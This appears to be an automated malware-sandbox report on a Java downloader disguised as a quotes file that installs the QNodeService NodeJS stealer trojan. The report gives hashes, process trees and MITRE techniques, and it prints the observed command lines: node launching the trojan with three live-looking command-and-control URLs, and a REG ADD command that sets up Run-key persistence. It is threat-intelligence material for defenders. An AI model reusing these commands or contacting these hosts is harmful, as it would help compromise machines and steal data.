qnodeservice | 54e843dde1d016b723f35de3ccf83e604edcfd9ba617da576de730f2ce971031

General

Target

FOB QUOTES #092072DB6720.jar
Size

11KB
MD5

e20d2d6fff672f1fd2350f2360a1545b
SHA1

712f836273a071a663ab7eae9f7970e26aa0a449
SHA256

54e843dde1d016b723f35de3ccf83e604edcfd9ba617da576de730f2ce971031
SHA512

8736ba22203332e491784a9271ec68c258f147f420b5bda7952d50920f25cab73b8a68144c57f981934098454cdeb99abe628b2d0e4d77e919d25b153d377ad6

Score

10^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3796	node.exe
2560	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2560	node.exe
2560	node.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	wtfismyip.com
12	wtfismyip.com

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 3796	1616	java.exe	73
PID 1616 wrote to memory of 3796	1616	java.exe	73
PID 3796 wrote to memory of 2128	3796	node.exe	74
PID 3796 wrote to memory of 2128	3796	node.exe	74
PID 2128 wrote to memory of 2484	2128	cmd.exe	75
PID 2128 wrote to memory of 2484	2128	cmd.exe	75
PID 3796 wrote to memory of 2560	3796	node.exe	76
PID 3796 wrote to memory of 2560	3796	node.exe	76

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000300000001bfa0-109.dat	family_qnodeservice

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-62bf2258 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-62bf2258.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Loads dropped DLL 4 IoCs

pid	Process
2560	node.exe
2560	node.exe
2560	node.exe
2560	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\FOB QUOTES #092072DB6720.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://payday.kozow.com --central-base-url https://lestero.hopto.org --central-base-url https://frendas.linkpc.net
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-62bf2258" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-62bf2258.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-62bf2258" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-62bf2258.cmd\""
      4⤵
      Adds Run entry to start application
      PID:2484
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://payday.kozow.com --central-base-url https://lestero.hopto.org --central-base-url https://frendas.linkpc.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    - Loads dropped DLL
    PID:2560

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2560-114-0x000001032B700000-0x000001032B701000-memory.dmp

Filesize
4KB

Download
memory/3796-108-0x00000204ABAC0000-0x00000204ABAC1000-memory.dmp

Filesize
4KB

Download

Analysis

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